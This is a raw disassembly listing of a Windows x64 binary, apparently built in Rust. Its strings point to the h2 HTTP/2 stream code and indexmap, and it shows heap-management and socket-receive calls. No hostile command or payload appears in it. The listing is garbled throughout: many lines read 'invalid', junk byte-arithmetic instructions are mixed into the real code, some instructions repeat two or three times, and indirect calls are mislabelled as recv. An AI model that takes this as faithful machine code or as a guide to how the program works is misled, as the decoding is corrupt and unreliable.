mov byte [rbp + 0x978], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp + 0x970]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400fee97
call fcn.14018d880
xor al, 1
mov dword [rbp + 0xbe8], eax
jmp 0x1400f5695
invalid
invalid
call fcn.14018d880
xor al, 1
movzx ecx, byte [r14 + 8]
or byte [rcx + r9*8 + 0x508d8b48], r8b
or al, 0
invalid
je 0x1400f56e5
mov qword [rbp + 0x970], r14
mov byte [rbp + 0x978], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp + 0x970]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400fee97
movzx r13d, byte [rbp + 0x5d1]
movzx eax, word [rbp + 0x5d2]
rol byte [0xc5987edc], cl
add byte [rax + rax], cl
add byte [rbx + 0x5d49d], cl
add eax, 0x8b440000
mov ebp, 0x5d8
mov edi, dword [rbp + 0x5dc]
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0xbf8], rax
add byte [rax], al
mov r14, qword [rbp + 0x5e8]
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0xbf0], rax
cmp qword [rbp + 0x720], 0
je 0x1400f7f36
mov r8, qword [rbp + 0x718]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x728]
mov qword [rbp + 0xc50], rax
mov rax, qword [rbp + 0x738]
mov qword [rbp + 0xc20], rax
xor eax, eax
mov qword [rbp + 0xc38], rax
cmp byte [rax + rax], cl
add bl, ch
invalid
cmp byte [rax + rax], cl
add bl, ch
sub byte [rbx + rcx*4 - 0x7b], cl
or al, 0
add byte [rbx + rcx*4 - 0x73], cl
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
push rax
or al, 0
invalid
push rax
or al, 0
add byte [rbx - 0x75], cl
mov rax, qword [r9 + r8 + 0x18]
mov rax, qword [r9 + r8 + 0x18]
mov rdx, qword [r9 + r8 + 0x20]
lea rcx, [r9 + r8]
lea ecx, [rcx + rax]
add rcx, 0x30
mov r8, qword [r9 + r8 + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xc38]
cmp rax, qword [rbp + 0xc20]
je 0x1400f7fe3
invalid
test dword [rax], edi
or al, 0
add byte [rax + 0x3b], cl
test dword [rax], esp
or al, 0
add byte [rsi + rcx*2 + 0x48], dh
imul rcx, rax, 0x68
imul rcx, rax, 0x68
imul rcx, rax, 0x68
inc rax
mov qword [rbp + 0xc38], rax
add byte [rax - 0x77], cl
lea eax, [rax + 0xc]
or al, 0
invalid
mov dword [rbp + 0xc40], ecx
or al, 0
add byte [rax - 0x75], cl
test dword [rax + 0xc], edx
add byte [rax], al
mov rax, qword [rbp + 0xc50]
mov rax, qword [rax + rcx + 0x40]
test rax, rax
test eax, eax
test eax, eax
je 0x1400f7f5d
mov r8, qword [rbp + 0xc40]
mov r9, qword [rbp + 0xc50]
mov ecx, dword [rbp + 0xc50]
mov ecx, dword [rbp + 0xc50]
lea edx, [rax + 0xc]
add byte [rax], al
lea rcx, [r9 + r8]
add rcx, 0x58
add ecx, 0x58
add ecx, 0x58
mov rdx, qword [r9 + r8 + 0x48]
mov r8, qword [r9 + r8 + 0x50]
push rsp
add dword [rax + 0x4f], ecx
mov eax, dword [rcx + rax + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400f7f5d
mov rsi, rbx
mov esi, ebx
cmp qword [rbp + 0x730], 0
je 0x1400f8006
mov rcx, qword [0x14023c258]
invalid
adc al, 0
xor edx, edx
mov r8, qword [rbp + 0xc50]
add byte [rax], al
add byte [rax], al
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x740]
mov rcx, qword [rbp + 0x750]
add byte [rax - 0x77], cl
lea eax, [rax + 0xc]
or al, 0
invalid
mov qword [rbp + 0xc40], rcx
or al, 0
add byte [rax - 0x77], cl
test dword [rax], edi
cmp byte [rax + rax], cl
mov qword [rbp + 0xc38], rax
lea rcx, [rax + 0x38]
lea ecx, [rax + 0x38]
cmp byte [rax + rax], cl
add byte [rax - 0x73], cl
cmp byte [rcx], sil
ror byte [rax - 0x77], 0x85
lea ecx, [rax + 0x38]
xor eax, eax
mov qword [rbp + 0xc50], rax
push rax
or al, 0
invalid
push rax
or al, 0
add byte [rax - 0x75], cl
test dword [rax + 0xc], edx
invalid
mov rax, qword [rbp + 0xc50]
add byte [rax], al
cmp qword [rbp + 0xc40], rax
add byte [rax], al
je 0x1400f8061
inc rax
mov qword [rbp + 0xc50], rax
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
clc
lea rbx, [rcx + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rbx
jmp 0x1400f802f
cmp qword [rbp + 0x748], 0
je 0x1400f8081
mov ebp, 0x748
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x14023c258]
mov rcx, qword [0x14023c258]
out 0x41, al
adc al, 0
xor edx, edx
mov r8, qword [rbp + 0xc38]
or al, 0
add bh, bh
adc eax, 0x96fa7
or al, 0
add bh, bh
adc eax, 0x96fa7
movzx eax, byte [rbp + 0x760]
test dword [rax + 7], esp
add byte [rax], al
cmp al, 0xb
mov rbx, rsi
je 0x1400f80b3
invalid
and al, 0x3c
or dh, byte [rdx + 0x20]
cmp al, 0xa
jb 0x1400f80b3
cmp qword [rbp + 0x770], 0
je 0x1400f80b3
invalid
mov r8, qword [rbp + 0x768]
add byte [rax], al
mov rcx, qword [0x14023c258]
lodsd eax, dword [rsi]
adc al, 0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
add byte [rax - 0x75], cl
test dword [rax + 7], edi
add byte [rax], al
mov rax, qword [rbp + 0x778]
test rax, rax
mov rsi, r15
je 0x1400f80da
lea rcx, [rbp + 0x790]
mov rdx, qword [rbp + 0x780]
mov r8, qword [rbp + 0x788]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x798]
test rax, rax
mov r15, r14
je 0x1400f8101
lea rcx, [rbp + 0x7b0]
mov rdx, qword [rbp + 0x7a0]
mov r8, qword [rbp + 0x7a8]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x7b8]
test rax, rax
mov r14d, dword [rbp + 0xc00]
je 0x1400f812c
lea rcx, [rbp + 0x7d0]
mov rdx, qword [rbp + 0x7c0]
mov r8, qword [rbp + 0x7c8]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x7d8]
test rax, rax
je 0x1400fa575
mov rax, qword [rax + 0x10]
lea rcx, [rbp + 0x7f0]
mov rdx, qword [rbp + 0x7e0]
mov r8, qword [rbp + 0x7e8]
mov byte [rbp + 0xc4f], 0
call rax
jmp 0x1400fa575
cmp byte [r11 + 0x52], 0
jne case.0x1400f646b.1
movzx r9d, byte [r11 + 0x51]
mov dword [rbp + 0xbf8], r9d
mov r9b, 1
test r8b, 1
jne 0x1400f8f39
add edx, 0xffffff38
cmp dx, 0xff9c
setb byte [rbp + 0x968]
mov byte [rbp + 0xbf0], 9
jmp 0x1400f8f4f
test r8b, 1
jne 0x1400f85a9
add edx, 0xffffff9c
cmp dx, 0x64
setae dl
add dl, dl
or dl, 8
mov byte [rbp + 0xbf0], dl
mov dl, 1
mov dword [rbp + 0xbf8], edx
xor r9d, r9d
jmp 0x1400f8f4f
cmp byte [r11 + 0x51], 0
je 0x1400f8995
mov eax, 4
mov qword [rbp + 0xc00], rax
mov r12b, 1
mov r13d, 1
lea rbx, [0x1401ea218]
lea rsi, [0x1401b9e38]
xor r14d, r14d
jmp 0x1400f9bb3
call fcn.14018d880
mov edx, eax
xor dl, 1
movzx eax, byte [rdi + 8]
test al, al
je 0x1400f599b
mov qword [rbp + 0x970], rdi
mov byte [rbp + 0x978], dl
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp + 0x970]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400fee97
lea rcx, [rbp + 0xaa0]
lea rdx, [rbp + 0x700]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rbp + 0x700]
movdqu xmm1, xmmword [rbp + 0x710]
movdqu xmm2, xmmword [rbp + 0x720]
movdqu xmm3, xmmword [rbp + 0x730]
movaps xmmword [rbp + 0x4e0], xmm0
movdqa xmmword [rbp + 0x4f0], xmm1
movdqa xmmword [rbp + 0x500], xmm2
movdqa xmmword [rbp + 0x510], xmm3
movups xmm0, xmmword [rbp + 0x740]
movaps xmmword [rbp + 0x520], xmm0
movdqu xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x530], xmm0
movzx eax, byte [rbp + 0xb00]
cmp al, 0xb
je 0x1400f82fc
cmp al, 0xa
jb 0x1400f82fc
cmp qword [rbp + 0xb10], 0
je 0x1400f82fc
mov r8, qword [rbp + 0xb08]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0xb18]
test rax, rax
je 0x1400f8320
lea rcx, [rbp + 0xb30]
mov rdx, qword [rbp + 0xb20]
mov r8, qword [rbp + 0xb28]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xb38]
test rax, rax
je 0x1400f8344
lea rcx, [rbp + 0xb50]
mov rdx, qword [rbp + 0xb40]
mov r8, qword [rbp + 0xb48]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xb58]
test rax, rax
je 0x1400f8368
lea rcx, [rbp + 0xb70]
mov rdx, qword [rbp + 0xb60]
mov r8, qword [rbp + 0xb68]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0xb78]
test rax, rax
je 0x1400f8396
mov rax, qword [rax + 0x10]
lea rcx, [rbp + 0xb90]
mov rdx, qword [rbp + 0xb80]
mov r8, qword [rbp + 0xb88]
mov byte [rbp + 0xc30], 0
call rax
mov dword [rbp + 0x440], edi
mov dword [rbp + 0x444], r12d
mov rax, qword [rbp + 0xc10]
mov rcx, qword [rbp + 0xc00]
cmp qword [rax + 0x1b8], rcx
jbe 0x1400fdcee
mov rax, qword [rbp + 0xc10]
mov rdi, qword [rax + 0x1a8]
test rdi, rdi
je 0x1400fdcee
mov rax, qword [rbp + 0xc40]
cmp dword [rdi + rax], 2
je 0x1400fdcee
add rdi, qword [rbp + 0xc40]
cmp dword [rdi + 0x114], r12d
jne 0x1400fdcee
lea rsi, [r15 + 0x20]
movaps xmm0, xmmword [rbp + 0x530]
movups xmmword [rbp + 0x638], xmm0
movaps xmm0, xmmword [rbp + 0x520]
movups xmmword [rbp + 0x628], xmm0
movdqa xmm0, xmmword [rbp + 0x4e0]
movdqa xmm1, xmmword [rbp + 0x4f0]
movdqa xmm2, xmmword [rbp + 0x500]
movdqa xmm3, xmmword [rbp + 0x510]
movdqu xmmword [rbp + 0x618], xmm3
movdqu xmmword [rbp + 0x608], xmm2
movdqu xmmword [rbp + 0x5f8], xmm1
movdqu xmmword [rbp + 0x5e8], xmm0
mov qword [rbp + 0x5e0], 5
mov qword [rbp + 0x5d0], 0
mov rax, qword [r15 + 0x30]
mov rbx, qword [r15 + 0x40]
inc qword [r15 + 0x38]
mov qword [rbp + 0xc50], rax
cmp rax, rbx
jne 0x1400f8b34
lea rcx, [rbp + 0xaa0]
lea rdx, [rbp + 0x5d0]
mov r8d, 0xf0
call sub.VCRUNTIME140.dll_memcpy
mov r14, rbx
cmp qword [r15 + 0x28], rbx
jne 0x1400f84cb
mov rcx, rsi
mov qword [rbp + 0xbf8], rbx
mov rdx, rbx
call fcn.140029370
mov r14, qword [r15 + 0x30]
mov rbx, qword [rbp + 0xbf8]
imul rcx, r14, 0xf0
add rcx, qword [r15 + 0x20]
lea rdx, [rbp + 0xaa0]
mov r8d, 0xf0
call sub.VCRUNTIME140.dll_memmove
inc r14
mov qword [r15 + 0x30], r14
lea rax, [rbx + 1]
mov qword [r15 + 0x40], rax
lea r14, [rbp + 0x444]
jmp 0x1400f8b8c
mov dword [rbp + 0xbe8], 1
mov r14b, 1
jmp 0x1400f74af
mov eax, dword [rdi + 0x54]
mov dword [rbp + 0xbe8], eax
pxor xmm6, xmm6
mov byte [rbp + 0xbe0], 1
lea r12, [0x1401ea218]
mov r14b, 1
jmp 0x1400fad9a
call fcn.14018d880
test al, al
jne 0x1400f7383
mov rax, qword [rbp + 0xc50]
mov byte [rax + 8], 1
jmp 0x1400f7383
call fcn.14018d880
test al, al
jne 0x1400f70dc
mov byte [rdi + 8], 1
jmp 0x1400f70dc
call fcn.14018d880
test al, al
jne 0x1400f7703
mov byte [rsi + 8], 1
jmp 0x1400f7703
call fcn.14018d880
mov ebx, eax
xor bl, 1
jmp 0x1400f6259
mov byte [rbp + recvf0], 0xb
mov dword [rbp + 0xbf8], 0
xor r9d, r9d
jmp 0x1400f8f4f
mov byte [rbp + 0xbf0], 3
xor r9d, r9d
jmp 0x1400f8f49
test r8d, r8d
je 0x1400f749e
mov eax, r8d
and eax, 1
jne 0x1400f749e
cmp dword [r12], 0
jne 0x1400f749e
cmp dword [rbx + 0x14], r8d
ja 0x1400f749e
mov qword [rbp + 0xbe0], r11
mov qword [rbp + 0xbc8], r10
lea eax, [r8 + 2]
mov ecx, eax
shr ecx, 0x1f
mov dword [rbx + 0x10], ecx
mov dword [rbx + 0x14], eax
mov rax, qword [rbx + 0x170]
cmp rax, qword [rbx + 0x178]
jbe 0x1400fb334
mov eax, dword [rbx + 0x9c]
mov ecx, dword [rbx + 0x11c]
mov dword [rbp + 0xa84], r8d
mov byte [rbp + 0x9c0], 6
mov word [rbp + 0xa90], 0
mov qword [rbp + 0x9e8], 0
mov dword [rbp + 0xa28], 0
mov dword [rbp + 0x9f0], ecx
mov qword [rbp + 0xa88], 0
mov qword [rbp + 0x970], 0
mov dword [rbp + 0xa34], 0
mov dword [rbp + 0xa40], 0
mov dword [rbp + 0xa4c], 0
mov dword [rbp + 0xa92], 0
mov byte [rbp + 0xa96], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x9f4], xmm0
mov dword [rbp + 0xa04], 0
mov dword [rbp + 0xa10], eax
mov dword [rbp + 0xa14], eax
mov dword [rbp + 0xa58], 0
mov word [rbp + 0xa97], 0x100
mov dword [rbp + 0x9b8], 0x3b9aca00
mov dword [rbp + 0xa64], 0
mov qword [rbp + 0x988], 0
mov qword [rbp + 0xa18], 0
mov dword [rbp + 0xa70], 0
mov qword [rbp + 0x9a0], 0
mov byte [rbp + 0xc4c], 1
lea rcx, [rbp + 0x2e0]
lea r9, [rbp + 0x970]
call fcn.14002b850
mov qword [rbp + 0x360], r12
movdqu xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x3d0], xmm0
lea rax, [rbp + 0x360]
mov qword [rbp + 0xa88], rax
lea rcx, [rbp + 0x970]
lea rdx, [rbp + 0x700]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x130]
mov qword [rbp + 0xa90], rax
mov rdi, qword [rbp + 0x3d0]
mov ebx, dword [rbp + 0x3d8]
mov esi, dword [rbp + 0x3dc]
mov dword [rbp], ebx
mov dword [rbp + 4], esi
cmp qword [rdi + 0x10], rbx
jbe 0x1400fe8fe
mov rax, qword [rdi]
test rax, rax
je 0x1400fe8fe
imul r14, rbx, 0x130
cmp dword [rax + r14], 2
je 0x1400fe8fe
add rax, r14
cmp dword [rax + 0x114], esi
jne 0x1400fe8fe
mov eax, dword [rax + 0x48]
mov dword [rbp + 0x960], eax
lea rcx, [rbp + 0xaa0]
lea rdx, [rbp + 0x700]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
mov dword [rbp + 0x5d0], ebx
mov dword [rbp + 0x5d4], esi
mov qword [rbp + 0x6e8], rbx
cmp qword [rdi + 0x10], rbx
jbe 0x1400fe973
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400fe973
cmp dword [rcx + r14], 2
je 0x1400fe973
add rcx, r14
cmp dword [rcx + 0x114], esi
jne 0x1400fe973
mov qword [rbp + 0xc20], r14
mov qword [rbp + 0xc40], rdi
mov dword [rbp + 0xc38], esi
mov rax, qword [rbp + 0xc10]
add rax, 0x160
mov qword [rbp + 0xbe8], rax
mov qword [rbp + 0xc50], rcx
movzx eax, byte [rcx + 0x50]
lea ecx, [rax - 6]
movzx edx, cl
cmp dl, 6
mov r8d, 6
cmovb r8d, edx
test r8b, r8b
je 0x1400fbaad
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x4f8], xmm0
mov word [rbp + 0x4e0], 0x101
mov dword [rbp + 0x4e4], 1
lea rax, [0x1401b9e38]
mov qword [rbp + 0x4e8], rax
lea rax, [0x1401ea218]
mov qword [rbp + 0x4f0], rax
jmp 0x1400fbc37
mov qword [rbp + 0x820], r9
mov qword [rbp + 0x828], r10
mov dword [rbp + 0x830], r12d
mov rax, qword [rbp + 0xc50]
mov qword [rbp + 0x838], rax
cmp byte [rbp + 0xc40], 0
jne 0x1400f8920
test r12d, r12d
je 0x1400f8920
mov rcx, qword [rbp + 0xc10]
lea rdx, [rcx + 0xb0]
lea rax, [rcx + 0xb4]
add rcx, 0x14
test r12b, 1
cmove rdx, qword [rbp + 0xbc8]
cmovne rcx, rax
xor eax, eax
cmp dword [rdx], 0
mov r13d, 5
jne 0x1400f8973
cmp dword [rcx], r12d
ja 0x1400f8973
mov rdx, qword [rbp + 0xc10]
cmp dword [rdx + 0x18], 0
jne 0x1400fe47f
cmp byte [rdx + 0x1a0], 0
je 0x1400f8958
mov eax, r12d
and eax, 1
je 0x1400f8958
mov rax, qword [rbp + 0xbc8]
cmp dword [rax], 0
jne 0x1400f8958
cmp dword [rdx + 0x14], r12d
jbe 0x1400fae9c
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x120], xmm0
lea r13, [0x1401b9e38]
mov al, 1
mov r12d, 1
mov byte [rbp + 0xc00], al
jmp 0x1400f4df9
call fcn.14018d880
test al, al
jne 0x1400f67f6
mov byte [r15 + 8], 1
jmp 0x1400f67f6
mov r9b, 1
test r8b, 1
jne 0x1400f8f42
add edx, 0xffffff38
cmp dx, 0xff9c
setb dl
mov dword [rbp + 0xbf8], edx
mov byte [rbp + 0xbf0], 0xa
jmp 0x1400f8f4f
mov dword [r15 + 0x4c], ecx
add dword [r15 + 0x90], r14d
mov dword [rbp + 0xaa0], r13d
mov dword [rbp + 0xaa4], esi
mov rdx, qword [rbx]
test rdx, rdx
je 0x1400fdaee
cmp dword [rdx + r12], 2
je 0x1400fdaee
lea rcx, [rdx + r12]
cmp dword [rcx + 0x114], esi
jne 0x1400fdaee
mov r8d, dword [rcx + 0xa0]
xor r9d, r9d
test r8d, r8d
cmovg r9d, r8d
cmp r9d, r14d
jae 0x1400f8a5f
mov dword [rbp + 0xaa0], r13d
mov dword [rbp + 0xaa4], esi
cmp dword [rcx], 2
je 0x1400fdf77
cmp dword [rcx + 0x114], esi
jne 0x1400fdf77
mov eax, dword [rcx + 0x114]
mov word [rbp + 0x820], 0x100
mov dword [rbp + 0x824], eax
mov dword [rbp + 0x828], 3
mov sil, 1
jmp 0x1400f6e44
mov dword [rbp + 0xaa0], r13d
mov dword [rbp + 0xaa4], esi
cmp dword [rcx], 2
je 0x1400fdfe8
cmp dword [rcx + 0x114], esi
jne 0x1400fdfe8
mov r8, qword [rcx + 0x30]
cmp r8, 1
je 0x1400f8e34
cmp r8d, 2
jne 0x1400f8e7a
mov rax, qword [rcx + 0x38]
sub rax, rdi
jb 0x1400f8e39
mov qword [rcx + 0x38], rax
mov rax, qword [rbp + 0xc50]
mov rdx, qword [rax + 0x1a8]
mov rax, qword [rax + 0x1b8]
jmp 0x1400f8e7a
mov dword [r15 + 0x4c], eax
mov eax, dword [r15 + 0x90]
lea ecx, [rax + r14]
mov dword [r15 + 0x90], ecx
mov ecx, dword [r15 + 0x4c]
lea edx, [r14 + rcx]
shl rdx, 0x20
add ecx, r14d
mov dword [r15 + 0x90], eax
movabs rcx, 0x300000001
cmovno rcx, rdx
mov al, 3
test cl, cl
jne 0x1400f8b0c
shr rcx, 0x20
mov dword [r15 + 0x4c], ecx
mov byte [rbp + 0x820], al
jmp 0x1400f6e42
call fcn.14018d880
test al, al
jne 0x1400f7007
mov rax, qword [rbp + 0xc40]
mov byte [rax + 8], 1
jmp 0x1400f7007
jbe 0x1400fe273
imul r12, rbx, 0xf0
add r12, qword [rsi]
cmp dword [r12], 2
jne 0x1400fe273
mov rax, qword [r12 + 8]
mov qword [r15 + 0x40], rax
lea rsi, [rbp + 0xaa0]
lea rdx, [rbp + 0x5d0]
mov r8d, 0xf0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0xf0
mov rcx, r12
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r12d, dword [rbp + 0xc20]
cmp qword [rdi + 0x18], 0
je 0x1400f8c0f
mov rcx, qword [rdi + 0x28]
cmp qword [r15 + 0x30], rcx
jbe 0x1400fe16d
mov rax, qword [r15 + 0x20]
test rax, rax
je 0x1400fe16d
imul rcx, rcx, 0xf0
add rax, rcx
cmp dword [rax], 2
je 0x1400fe16d
add rdi, 0x28
mov qword [rax], 1
mov qword [rax + 8], rbx
jmp 0x1400f8c1f
call fcn.14018d880
test al, al
jne 0x1400f571b
mov byte [r14 + 8], 1
jmp 0x1400f571b
call fcn.14018d880
test al, al
jne 0x1400f735c
mov byte [r14 + 8], 1
jmp 0x1400f735c
mov qword [rdi + 0x18], 1
mov qword [rdi + 0x20], rbx
add rdi, 0x28
mov qword [rdi], rbx
mov eax, dword [rbp + 0xc38]
mov dword [rbp + 0x440], eax
mov dword [rbp + 0x444], r12d
mov rax, qword [rbp + 0xc10]
mov rcx, qword [rbp + 0xc00]
cmp qword [rax + 0x1b8], rcx
jbe 0x1400fdd58
mov rax, qword [rbp + 0xc10]
mov rax, qword [rax + 0x1a8]
test rax, rax
je 0x1400fdd58
mov rcx, qword [rbp + 0xc40]
cmp dword [rax + rcx], 2
je 0x1400fdd58
add rax, qword [rbp + 0xc40]
cmp dword [rax + 0x114], r12d
jne 0x1400fdd58
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400f8cb7
mov rax, qword [rdx + 8]
mov byte [rbp + 0xc1c], 0
call rax
mov r12b, 3
jmp 0x1400f9e28
mov byte [rbp + 0xc4c], 1
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.1.0_srcmapcore.rs
mov rdx, rax
call fcn.140186a70
jmp 0x1400fee97
mov byte [rbp + 0xc2e], 1
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.1.0_srcmapcore.rs
call fcn.140186a70
jmp 0x1400fee97
call fcn.14018d880
movzx ecx, byte [r14 + 8]
test cl, cl
jne 0x1400fe675
mov esi, dword [r14 + 0xa4]
test al, al
je 0x1400f54bd
lea rdi, [r14 + 8]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
je 0x1400f54bd
call fcn.14018d880
test al, al
jne 0x1400f54bd
mov byte [rdi], 1
jmp 0x1400f54bd
call fcn.14018d880
xor al, 1
movzx ecx, byte [r14 + 8]
test cl, cl
je 0x1400f5530
mov qword [rbp + 0x970], r14
mov byte [rbp + 0x978], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp + 0x970]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400fee97
mov eax, dword [rdi + 0x54]
mov dword [rbp + 0xbe8], eax
mov r15d, dword [rdi + 0x58]
movzx eax, byte [rdi + 0x51]
mov byte [rbp + 0xbe0], al
xor r14d, r14d
jmp 0x1400fad9a
movzx eax, byte [rdi + 0x51]
mov rsi, qword [rdi + 0x58]
mov r14b, 2
test rsi, rsi
mov byte [rbp + 0xbe0], al
je 0x1400fab7d
mov r12, qword [rdi + 0x68]
test r12, r12
je 0x1400fad81
js 0x1400fe8c9
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x1400f8e04
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400f8e1b
mov rcx, rax
mov qword [0x14023c258], rax
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x1400fad87
mov byte [rbp + 0xc4c], 1
mov ecx, 1
mov rdx, r12
call fcn.140186620
jmp 0x1400fee97
test rdi, rdi
je 0x1400f8e7a
mov dword [rbp + 0xaa0], r13d
mov dword [rbp + 0xaa4], esi
mov rax, qword [rbp + 0xc50]
cmp qword [rax + 0x1b8], r13
jbe 0x1400fe202
cmp dword [rcx], 2
je 0x1400fe202
cmp dword [rcx + 0x114], esi
jne 0x1400fe202
mov eax, dword [rcx + 0x114]
jmp 0x1400f8efd
test byte [rbp + 0x1e4], 1
je 0x1400f973c
mov dword [rbp + 0xaa0], r13d
mov dword [rbp + 0xaa4], esi
cmp rax, r13
jbe 0x1400fe301
test rdx, rdx
je 0x1400fe301
cmp dword [rdx + r12], 2
je 0x1400fe301
add rdx, r12
cmp dword [rdx + 0x114], esi
jne 0x1400fe301
cmp dword [rdx + 0x30], 2
jne 0x1400f96d7
cmp qword [rdx + 0x38], 0
je 0x1400f96d7
mov dword [rbp + 0xaa0], r13d
mov dword [rbp + 0xaa4], esi
cmp dword [rdx], 2
je 0x1400fe7cf
cmp dword [rdx + 0x114], esi
jne 0x1400fe7cf
mov eax, dword [rdx + 0x114]
mov word [rbp + 0x820], 0x100
mov dword [rbp + 0x824], eax
mov dword [rbp + 0x828], 1
mov sil, 1
jmp 0x1400f6e44
mov byte [rbp + 0xc35], 1
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.1.0_srcmapcore.rs
mov rcx, rsi
call fcn.140186a70
jmp 0x1400fee97
mov byte [rbp + recvf0], 0xb
jmp 0x1400f8f4f
mov byte [rbp + 0xbf0], 3
mov dword [rbp + 0xbf8], edx
cmp cl, 6
jb 0x1400f8fc3
lea ecx, [rax - 3]
cmp cl, 2
ja 0x1400f8f61
cmp cl, 1
jne 0x1400f8fc3
movzx eax, al
test rax, rax
je 0x1400f8fc3
cmp eax, 1
jne 0x1400f8f90
mov r8, qword [rbp + 0xc50]
mov rax, qword [r8 + 0x58]
mov rdx, qword [r8 + 0x60]
lea rcx, [r8 + 0x70]
mov r8, qword [r8 + 0x68]
mov esi, r9d
call qword [rax + reloc.WS2_32.dll_recv]
mov r9d, esi
jmp 0x1400f8fc3
mov rax, qword [rbp + 0xc50]
mov r8, qword [rax + 0x58]
test r8, r8
je 0x1400f8fc3
mov rax, qword [rbp + 0xc50]
cmp qword [rax + 0x60], 0
je 0x1400f8fc3
mov rcx, qword [0x14023c258]
xor edx, edx
mov esi, r9d
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r9d, esi
mov rcx, qword [rbp + 0xc50]
movzx eax, byte [rbp + 0xbf0]
mov byte [rcx + 0x50], al
mov eax, dword [rbp + 0xbf8]
mov byte [rcx + 0x51], al
movzx eax, byte [rbp + 0x968]
mov byte [rcx + 0x52], al
movdqu xmm0, xmmword [rbp + 0xaa0]
movdqu xmm1, xmmword [rbp + 0xab0]
movdqu xmmword [rcx + 0x53], xmm0
movdqu xmmword [rcx + 0x63], xmm1
mov rax, qword [rbp + 0xabd]
mov qword [rcx + 0x70], rax
test r9b, r9b
mov rdi, qword [rbp + 0xc10]
jne 0x1400f90eb
mov eax, dword [rbp + 0x810]
mov rcx, qword [rbp + 0xbd0]
cmp eax, dword [rcx + 0x94]
jbe 0x1400f903e
mov rcx, qword [rbp + 0xbd0]
mov dword [rcx + 0x94], eax
mov rax, qword [rdi + 0x178]
cmp qword [rdi + 0x170], rax
jbe 0x1400fde9f
mov ecx, dword [rbp + 0xc38]
mov dword [rbp + 0x4e0], ecx
mov dword [rbp + 0x4e4], r12d
mov rcx, qword [rbp + 0xc00]
cmp qword [rdi + 0x1b8], rcx
jbe 0x1400fd955
mov rcx, qword [rdi + 0x1a8]
test rcx, rcx
je 0x1400fd955
cmp dword [rcx + r13], 2
je 0x1400fd955
add rcx, r13
cmp dword [rcx + 0x114], r12d
jne 0x1400fd955
cmp byte [rcx + 0x120], 0
jne 0x1400fdec3
inc rax
mov qword [rdi + 0x178], rax
mov eax, dword [rbp + 0xc38]
mov dword [rbp + 0x4e0], eax
mov dword [rbp + 0x4e4], r12d
cmp dword [rcx], 2
je 0x1400fdbfe
cmp dword [rcx + 0x114], r12d
jne 0x1400fdbfe
mov byte [rcx + 0x120], 1
mov eax, dword [rbp + 0xc38]
mov dword [rbp + 0x4e0], eax
